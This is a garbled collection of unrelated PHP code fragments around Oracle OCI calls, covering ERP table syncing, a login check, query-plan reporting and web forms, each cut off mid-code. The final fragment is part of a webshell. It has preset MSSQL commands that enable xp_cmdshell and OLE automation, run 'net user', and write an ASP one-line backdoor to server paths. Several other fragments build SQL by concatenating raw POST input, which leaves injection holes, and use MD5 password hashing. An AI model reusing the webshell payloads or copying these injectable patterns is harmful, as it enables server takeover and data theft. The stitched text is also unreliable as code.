C6_LOCAL\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_DATFAT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n\t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM SC6010\r\n\t\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_"); ociexecute($sqlTotvsSC6010); while ($rowTotvsSC6010 = oci_fetch_array($sqlTotvsSC6010)) { $sqlFatPedidoVendaItem = mysql_query("SELECT null FROM tb_fat_pedido_venda_item WHERE CO_RECNO = '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); if (mysql_num_rows($sqlFatPedidoVendaItem) == 0) { if (trim($rowTotvsSC6010['D_E_L_E_T_']) == '*') { mysql_query("INSERT INTO tb_fat_pedido_venda_item (CO_FILIAL\r\n\t\t\t\t\t\t\t , NU_PEDIDO_VENDA\r\n\t\t\t\t\t\t\t\t , NU_ITEM\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO\r\n\t\t\t\t\t\t\t\t , VL_TOTAL\r\n\t\t\t\t\t\t\t\t , NU_TES\r\n\t\t\t\t\t\t\t\t , NU_CFOP\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("INSERT INTO tb_fat_pedido_venda_item (CO_FILIAL\r\n\t\t\t\t\t\t\t , NU_PEDIDO_VENDA\r\n\t\t\t\t\t\t\t\t , NU_ITEM\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO\r\n\t\t\t\t\t\t\t\t , VL_TOTAL\r\n\t\t\t\t\t\t\t\t , NU_TES\r\n\t\t\t\t\t\t\t\t , NU_CFOP\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['R_E_C_N_O_'] . "')", $conexaoExtranet) or die(mysql_error()); } } else { if (trim($rowTotvsSC6010['D_E_L_E_T_']) == '*') { mysql_query("UPDATE tb_fat_pedido_venda_item SET\r\n\t\t\t\t\t CO_FILIAL = '" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t\t , NU_PEDIDO_VENDA = '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ITEM = '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE = '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO = '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA = '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA = '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO = '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO = '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO = '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_TOTAL = '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , NU_TES = '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , NU_CFOP = '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT = '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT = '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO = '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA = '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM = '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO = '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t\t , FL_DELET \t\t\t= '*'\r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("UPDATE tb_fat_pedido_venda_item SET\r\n\t\t\t\t\t CO_FILIAL = '" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t\t , NU_PEDIDO_VENDA = '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ITEM = '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE = '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO = '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA = '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA = '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO = '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO = '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO = '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_TOTAL = '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , NU_TES = '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , NU_CFOP = '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT = '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT = '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO = '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA = '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM = '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO = '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } } }
$tPor = $can - $cant; return $can; } function saca_iva($can, $por) { $cant = $can; $can = $can / 100 * $por; $can += $cant; return $can; } //****************************Cierro funciones************************************ //********************************VERIFICA EL ULTIMO MOVIMIENTO******************* //********traigo centro de costos y libro********* //$cmdstr1 = "select * from MATEO.CONT_FOLIO where LOGIN = '******' "; $cmdstr1 = "select * from MATEO.CONT_FOLIO where LOGIN = '******' \r\nAND ID_EJERCICIO='" . $ID_EJERCICIOM . "'\r\nAND\r\nID_LIBRO='" . $ID_LIBROM . "'\r\n"; $parsed1 = ociparse($db_conn, $cmdstr1); ociexecute($parsed1); $nrows1 = ocifetchstatement($parsed1, $results1); for ($i = 0; $i < $nrows1; $i++) { $ID_LIBRO = $results1['ID_LIBRO'][$i]; $ID_EJERCICIO = $results1['ID_EJERCICIO'][$i]; } //*********************************************************************************** //*****************************Verificando caja abierta************************** $sSQLC = "Select * From aperturaCaja "; $resultC = mysql_db_query($basedatos, $sSQLC); $myrowC = mysql_fetch_array($resultC); if ($poliza = $myrowC['numeroPoliza']) { //*******************Comienzo la validaci�n***************** //********************Llenado de datos $sSQL3 = "Select * From clientesInternos WHERE keyClientesInternos = '" . $numeroCuenta . "' ";
/** * Build db-specific report * @access private */ function _sql_report($mode, $query = '') { switch ($mode) { case 'start': $html_table = false; // Grab a plan table, any will do $sql = "SELECT table_name\n\t\t\t\t\tFROM USER_TABLES\n\t\t\t\t\tWHERE table_name LIKE '%PLAN_TABLE%'"; $stmt = ociparse($this->db_connect_id, $sql); ociexecute($stmt); $result = array(); if (ocifetchinto($stmt, $result, OCI_ASSOC + OCI_RETURN_NULLS)) { $table = $result['TABLE_NAME']; // This is the statement_id that will allow us to track the plan $statement_id = substr(md5($query), 0, 30); // Remove any stale plans $stmt2 = ociparse($this->db_connect_id, "DELETE FROM {$table} WHERE statement_id='{$statement_id}'"); ociexecute($stmt2); ocifreestatement($stmt2); // Explain the plan $sql = "EXPLAIN PLAN\n\t\t\t\t\t\tSET STATEMENT_ID = '{$statement_id}'\n\t\t\t\t\t\tFOR {$query}"; $stmt2 = ociparse($this->db_connect_id, $sql); ociexecute($stmt2); ocifreestatement($stmt2); // Get the data from the plan $sql = "SELECT operation, options, object_name, object_type, cardinality, cost\n\t\t\t\t\t\tFROM plan_table\n\t\t\t\t\t\tSTART WITH id = 0 AND statement_id = '{$statement_id}'\n\t\t\t\t\t\tCONNECT BY PRIOR id = parent_id\n\t\t\t\t\t\t\tAND statement_id = '{$statement_id}'"; $stmt2 = ociparse($this->db_connect_id, $sql); ociexecute($stmt2); $row = array(); while (ocifetchinto($stmt2, $row, OCI_ASSOC + OCI_RETURN_NULLS)) { $html_table = $this->sql_report('add_select_row', $query, $html_table, $row); } ocifreestatement($stmt2); // Remove the plan we just made, we delete them on request anyway $stmt2 = ociparse($this->db_connect_id, "DELETE FROM {$table} WHERE statement_id='{$statement_id}'"); ociexecute($stmt2); ocifreestatement($stmt2); } ocifreestatement($stmt); if ($html_table) { $this->html_hold .= '</table>'; } break; case 'fromcache': $endtime = explode(' ', microtime()); $endtime = $endtime[0] + $endtime[1]; $result = @ociparse($this->db_connect_id, $query); $success = @ociexecute($result, OCI_DEFAULT); $row = array(); while (@ocifetchinto($result, $row, OCI_ASSOC + OCI_RETURN_NULLS)) { // Take the time spent on parsing rows into account } @ocifreestatement($result); $splittime = explode(' ', microtime()); $splittime = $splittime[0] + $splittime[1]; $this->sql_report('record_fromcache', $query, $endtime, $splittime); break; } }
/** * Generate a statement ID * * @access private * @param string an SQL query * @return none */ function _set_stmt_id($sql) { if (!is_resource($this->stmt_id)) { $this->stmt_id = ociparse($this->conn_id, $this->_prep_query($sql)); } }
<select id ="S_Team_B"></select> Fecha: <input type="text" id="Calendario_match" class="datePicker"> <input type="button" onclick="agregarpartido()"value=agregar></input> </div> <div id=cajapartidos></div> </div> <input type="button" onclick="crearEvento()" value="Crear evento"></input> </div> </body> <?php include "conexion.php"; $conn = OCILogon($user, $pass, $db); $outrefc = ocinewcursor($conn); //Declare cursor variable $mycursor = ociparse($conn, "begin get_AllTeams(:curs); end;"); // prepare procedure call ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR); // bind procedure parameters $ret = ociexecute($mycursor); // Execute function $ret = ociexecute($outrefc); // Execute cursor $nrows = ocifetchstatement($outrefc, $data); // fetch data from cursor ocifreestatement($mycursor); // close procedure call ocifreestatement($outrefc); // close cursor //var_dump($data); echo " <div id ='subStadiumBox'class='subStadiumBox'>";
<?php $sqlTotvsSX5010 = ociparse($totvsConexao, "SELECT X5_CHAVE\r\n\t\t\t\t\t\t\t\t\t\t\t , X5_DESCRI\r\n\t\t\t\t\t\t\t\t\t\t\t , X5_DESCSPA\r\n\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n\t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_ \r\n\t\t\t\t\t\t\t\t\t\t\t FROM SX5010 \r\n\t\t\t\t\t\t\t\t\t\t\t WHERE X5_TABELA = 'CR'\r\n\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_"); ociexecute($sqlTotvsSX5010); while ($rowTotvsSX5010 = oci_fetch_array($sqlTotvsSX5010)) { $sqlPcpCor = mysql_query("SELECT null FROM tb_pcp_cor WHERE CO_RECNO = '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); if (mysql_num_rows($sqlPcpCor) == 0) { if (trim($rowTotvsSX5010['D_E_L_E_T_']) == '*') { mysql_query("INSERT INTO tb_pcp_cor (CO_COR\r\n\t\t\t\t , NO_COR\r\n\t\t\t\t\t , DS_COR\r\n\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSX5010['X5_CHAVE'] . "' \r\n\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("INSERT INTO tb_pcp_cor (CO_COR\r\n\t\t\t\t , NO_COR\r\n\t\t\t\t\t , DS_COR\r\n\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSX5010['X5_CHAVE'] . "' \r\n\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSX5010['R_E_C_N_O_'] . "')", $conexaoExtranet) or die(mysql_error()); } } else { if (trim($rowTotvsSX5010['D_E_L_E_T_']) == '*') { mysql_query("UPDATE tb_pcp_cor SET\r\n\t\t\t\t\t\t\t CO_COR = '" . $rowTotvsSX5010['X5_CHAVE'] . "'\r\n\t\t\t\t , NO_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t , DS_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "'\r\n\t\t\t\t\t\t\t , FL_DELET = '*'\r\n\t\t\t\t\t\t \t WHERE CO_RECNO = '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("UPDATE tb_pcp_cor SET\r\n\t\t\t\t\t\t\t CO_COR = '" . $rowTotvsSX5010['X5_CHAVE'] . "'\r\n\t\t\t\t , NO_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t , DS_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "'\r\n\t\t\t\t\t\t \t WHERE CO_RECNO = '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } } }
} $ID_EJERCICIOM = '001-2008'; $ID_CCOSTOM = '4.01'; //********************COMIENZAN VALIDACIONES*********************************** if (!$usuario and !isset($_POST['username']) and !isset($_POST['password']) and !isset($_POST['ingresar'])) { echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=' . CONSTANT_PATH_SIMA_RAIZ . '/index.php">'; exit; } if (!$usuario) { //encriptar $crypt = $_POST['password']; $_POST['password'] = md5($_POST['password']); if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['ingresar'])) { $cmdstr3 = "select * from PEDRO.USUARIO WHERE LOGIN = '******'username'] . "' AND PASSWORD1 = '" . $_POST['password'] . "'\r\nAND STATUS='A'\r\n"; $parsed3 = ociparse($db_conn, $cmdstr3); ociexecute($parsed3); $nrows3 = ocifetchstatement($parsed3, $resulta3); for ($i = 0; $i < $nrows3; $i++) { $user = $resulta3['LOGIN'][$i]; $passwd = $resulta3['PASSWORD1'][$i]; } if ($user == $_POST['username'] and $passwd == $_POST['password']) { //agregar sesiones session_destroy(); session_start(); $llave = session_id(); $agregaIP = "INSERT INTO sesiones ( \r\nusuario,ip,llave\r\n) values ('" . $user . "','" . $ip . "','" . $llave . "')"; mysql_db_query($basedatos, $agregaIP); echo mysql_error(); echo '<META HTTP-EQUIV="Refresh"
// prepare procedure call ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR); // bind procedure parameters $ret = ociexecute($mycursor); // Execute function $ret = ociexecute($outrefc); // Execute cursor $nrows = ocifetchstatement($outrefc, $pos1); // fetch data from cursor ocifreestatement($mycursor); // close procedure call ocifreestatement($outrefc); // close cursor $outrefc = ocinewcursor($conn); //Declare cursor variable $mycursor = ociparse($conn, "begin getPotisions(:curs,'{$alin2}'); end;"); // prepare procedure call ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR); // bind procedure parameters $ret = ociexecute($mycursor); // Execute function $ret = ociexecute($outrefc); // Execute cursor $nrows = ocifetchstatement($outrefc, $pos2); // fetch data from cursor ocifreestatement($mycursor); // close procedure call ocifreestatement($outrefc); // close cursor for ($p = 0; $p < count($pos2["POSICION"]); $p++) { $posicion1 = $pos1["POSICION"][$p];
function res_sel($sel, $dbcnx) { if (!$dbcnx) { return null; } // $req = pg_query($sel) or die('echec sql : ' . pg_last_error()); // $req = pg_query($sel); $req = ociparse($dbcnx, $sel); // oracle if (!oci_execute($req, OCI_DEFAULT)) { oci_rollback($dbcnx); $e = oci_error($req); print "<pre><font color='red'>" . $e['sqltext'] . ': ' . $e['message'] . '</font></pre>'; $_url = "../index.php?ong=" . $_POST['ong']; echo "<br><br><b><a href={$_url}>Retour</a></b>"; die; } $res = array(); $i = 0; while ($line = oci_fetch_array($req, OCI_ASSOC + OCI_RETURN_NULLS)) { // oracle // while ($line = pg_fetch_array($req, null, PGSQL_ASSOC)) { foreach ($line as $cle => $col_value) { $res[strtolower($cle)][$i] = $col_value; } $i++; } $total_lignes = $i; // pg_free_result($req); oci_free_statement($req); //oracle // return list($res, $total_lignes); return array('res' => $res, 'total_lignes' => $total_lignes); }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? 